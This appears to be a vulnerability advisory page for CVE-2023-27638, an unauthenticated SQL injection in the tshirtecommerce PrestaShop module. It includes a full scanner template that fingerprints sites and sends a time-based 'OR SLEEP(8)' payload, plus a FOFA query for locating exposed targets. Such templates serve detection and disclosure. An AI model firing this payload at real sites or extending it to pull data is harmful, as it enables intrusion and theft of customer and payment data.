CVE-2023-27638: tshirtecommerce PrestaShop Module - SQL Injection

2025-08-01 tshirtecommerce PrestaShop Module PoC Public

Description

The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the tshirtecommerce_design_cart_id parameter, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database. This is due to lack of input sanitization, as shown in the patch where pSQL() is now used.

PoC

id: CVE-2023-27638

info:
  name: tshirtecommerce PrestaShop Module - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the tshirtecommerce_design_cart_id parameter, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database. This is due to lack of input sanitization, as shown in the patch where pSQL() is now used.
  impact: |
    Unauthenticated attackers can execute SQL injection through the tshirtecommerce_design_cart_id parameter to extract the complete PrestaShop database including customer data and payment information.
  remediation: |
    Update the tshirtecommerce module to the latest version and apply all security patches.
  reference:
    - https://security.friendsofpresta.org/module/2023/03/21/tshirtecommerce_cwe-89.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27638
  classification:
    cve-id: CVE-2023-27638
    cwe-id: CWE-89
    epss-score: 0.03299
    epss-percentile: 0.87888
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    max-request: 1
    vendor: tshirtecommerce
    product: prestashop
    fofa-query: body="Prestashop" && body="tshirtecommerce"
  tags: cve,cve2023,prestashop,tshirtecommerce,sqli,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - "contains_all(tolower(body), 'prestashop', 'tshirtecommerce')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /module/tshirtecommerce/designer?tshirtecommerce_design_cart_id=1%20OR%20SLEEP(8) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=8"
          - "status_code == 200"
        condition: and
# digest: 4b0a004830460221008036403446caed629d04ee26f4aeed8c13d89dbbb09588301b83609e48b462e7022100c68bad14cb38e614e25a847e98ecc2453f54e75a74bcf6e3023ca8648bbc8074:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities